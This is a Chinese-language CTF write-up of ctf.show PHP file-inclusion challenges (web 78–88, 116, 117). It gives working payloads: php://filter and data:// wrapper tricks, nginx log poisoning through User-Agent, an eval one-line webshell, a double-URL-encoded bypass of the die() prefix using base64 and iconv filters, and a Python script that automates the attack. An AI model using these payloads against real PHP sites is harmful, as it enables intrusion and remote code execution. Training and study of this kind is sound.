web 78-读取网站源码
代码提示包含文件
尝试包含flag.php,发现是空白页,说明flag.php存在,但代码被解析
http://ef51a306-cbf1-40fb-b32a-c7af32ca8aa1.challenge.ctf.show/?file=flag.php
php://filter 作用:读取文件源码,作为base64编码格式展示出来 用法:filename=php://filter/convert.base64-encode/resource=xxx.php
使用php://filter读取源码的base64编码
http://ef51a306-cbf1-40fb-b32a-c7af32ca8aa1.challenge.ctf.show/?file=php://filter/convert.base64-encode/resource=flag.php
<?php
解码得到flag
web 79-任意代码执行
php字符被过滤,考虑data://执行命令执行
data:// 作用:类似与php://input,可以让用户控制输入流,当它与包含函数结合时,用户输入的data://流被当作php文件执行,从而实现任意代码执行。 用法:data://text/plain;base64,[想要输入的内容经过base64加密后的编码]
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
其中PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==是<?php system(‘cat flag.php’);?>的base64编码
web 80-日志包含
php和data都被过滤,考虑用日志包含执行命令
提示了日志文件路径/var/log/nginx/access.log
burp抓包后,通过对User-Agent赋值,在日志中写入执行程序
<?php system(‘ls’); ?>
先查看目录中有哪些文件
包含日志文件
?file=/var/log/nginx/access.log
执行后能看到以下文件
fl0g.php
index.php
然后同样的方法,再写入查看文件内容命令
<?php system(‘cat fl0g.php’); ?>
首先要将User-Agent的内容写入日志文件,再包含日志文件,所以要连续执行两次
web 81-日志包含
限制了php、data、冒号:,同样可以用日志包含
尝试日志文件写入一句话木马的方法
<?php @eval($_POST[x]); ?>
使用蚁剑连接,找到flag
web 82-86-session.upload_progress
没有实现,待解决
web 87-死亡die绕过
题目
思路是将file写入木马,content即木马内容,由于file_put_contents函数,使得content内容之前加入了<?php die();?>,无论写入什么内容都执行不了,因此考点是绕过死亡die程序
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
从 file_put_contents(urldecode($file), “<?php die(‘大佬别秀了’);?>”.$content);看出是经典的死亡die绕过问题
考虑用如下方法:利用base64解码,将死亡代码解码成乱码,使得php引擎无法识别
$filename=’php://filter/convert.base64-decode/resource=s1mple.php’; $content = ‘aPD9waHAgcGhwaW5mbygpOz8+’;
然后需要考虑base64的特性
1)base64的编码字符为+, / , 0~9,a~z,A~Z,其余字符都会被跳过,所以<?php die(‘大佬别秀了’);?>在base64_decode处理时被看作phpdie
2)base64解码是将4个byte为一组,需要在phpdie前加上两个字符,如aa(注意不能是==,base64默认等号为结尾的填充符),满足四的倍数,从而不影响后面写入内容的解码
构造payload
1、file是上传的文件,对文件名做了字符限制,可考虑两层url编码绕过
php://filter/convert.base64-decode/resource=s1mple.php两次url编码
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%33%31%25%36%64%25%37%30%25%36%63%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30
2、content则是写入的payload
<?php system(“cat *.php”);?>
base64编码
PD9waHAgc3lzdGVtKCJjYXQgKi5waHAiKTs/Pg==
也可以直接用脚本跑
import requests
import base64
url = 'http://4b4cfa0f-5547-4105-bd20-8e820c85fc91.challenge.ctf.show/'
# php://filter/convert.base64-decode/resource=1.php
file = '%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30'
#payload = '<?php system("ls");?>'
payload = '<?php system("cat fl0g.php");?>'
payload = base64.encodebytes(payload.encode('utf-8')).decode('utf-8')
data = {
'content': 'aa' + payload
}
print(data)
requests.post(url=url + '?file=' + file, data=data)
res = requests.get(url + 'tmp.php')
print(res.text)
web 88-任意代码执行
题目
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
本题和web79题类似,只是过滤的字符串更多了
使用data:伪协议,将<?php system(“cat *.php”);?>base64编码后传入,由于过滤了=号,可以直接去掉
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgKi5waHAiKTs/Pg
web 116-其他
题目提示是杂项加文件包含,访问链接后是一个视频,视频下载foremost分离出来png
尝试读取文件,发现可以读取
然后直接跑字典找到flag
如果不同过抓包的话,直接在浏览器里是无法显示的
考虑使用compress.zlib://伪协议
compress.zlib:// 读取压缩流
?file=compress.zlib:///var/www/html/flag.php
web 117-死亡die绕过(convert.iconv)
题目
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87同一类型,但是过滤了rot13,base64等,可以考虑convert.iconv来过滤
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?
phpinfo();可执行成功
显示flag.php内容